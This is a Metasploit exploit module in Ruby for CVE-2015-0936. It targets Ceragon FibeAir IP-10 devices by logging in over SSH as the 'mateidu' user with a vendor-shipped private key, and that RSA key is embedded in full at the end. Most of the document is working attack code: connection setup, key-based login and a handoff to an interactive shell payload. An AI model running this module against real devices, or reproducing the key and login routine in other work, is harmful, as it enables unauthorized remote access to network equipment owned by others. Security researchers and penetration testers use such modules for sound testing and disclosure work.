Path: blob/master/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb
26985 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9include Msf::Auxiliary::Report10include Msf::Exploit::Remote::SSH1112Rank = ExcellentRanking1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',20'Description' => %q{21Ceragon ships a public/private key pair on FibeAir IP-10 devices22that allows passwordless authentication to any other IP-10 device.23Since the key is easily retrievable, an attacker can use it to24gain unauthorized remote access as the "mateidu" user.25},26'Platform' => 'unix',27'Arch' => ARCH_CMD,28'Privileged' => false,29'Targets' => [ [ 'Universal', {} ] ],30'Payload' => {31'Compat' => {32'PayloadType' => 'cmd_interact',33'ConnectionType' => 'find'34}35},36'Author' => [37'hdm', # Discovery38'todb' # Metasploit module and advisory text (mostly copy-paste)39],40'License' => MSF_LICENSE,41'References' => [42['CVE', '2015-0936'],43['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure44['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH],45],46'DisclosureDate' => '2015-04-01', # Not a joke47'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },48'DefaultTarget' => 0,49'Notes' => {50'Stability' => [CRASH_SAFE],51'Reliability' => [REPEATABLE_SESSION],52'SideEffects' => []53}54}55)56)5758register_options(59[60# Since we don't include Tcp, we have to register this manually61Opt::RHOST(),62Opt::RPORT(22)63], self.class64)6566register_advanced_options(67[68OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),69OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])70]71)72end7374# helper methods that normally come from Tcp75def rhost76datastore['RHOST']77end7879def rport80datastore['RPORT']81end8283def do_login(user)84opt_hash = ssh_client_defaults.merge({85auth_methods: ['publickey'],86port: rport,87key_data: [ key_data ]88})89opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']90begin91ssh_socket = nil92::Timeout.timeout(datastore['SSH_TIMEOUT']) do93ssh_socket = Net::SSH.start(rhost, user, opt_hash)94end95rescue Rex::ConnectionError96return nil97rescue Net::SSH::Disconnect, ::EOFError98print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"99return nil100rescue ::Timeout::Error101print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"102return nil103rescue Net::SSH::AuthenticationFailed104print_error "#{rhost}:#{rport} SSH - Failed authentication"105return nil106rescue Net::SSH::Exception => e107print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"108return nil109end110111if ssh_socket112113# Create a new session from the socket, then dump it.114conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)115ssh_socket = nil116117return conn118else119return nil120end121end122123def exploit124conn = do_login('mateidu')125if conn126print_good "#{rhost}:#{rport} - Successful login"127handler(conn.lsock)128end129end130131def key_data132<<~EOF133-----BEGIN RSA PRIVATE KEY-----134MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr135MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+136IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB137gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3138CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv1394Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY140SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6141B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV14293gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc143WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP144YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll1457GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT146uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==147-----END RSA PRIVATE KEY-----148EOF149end150end151152153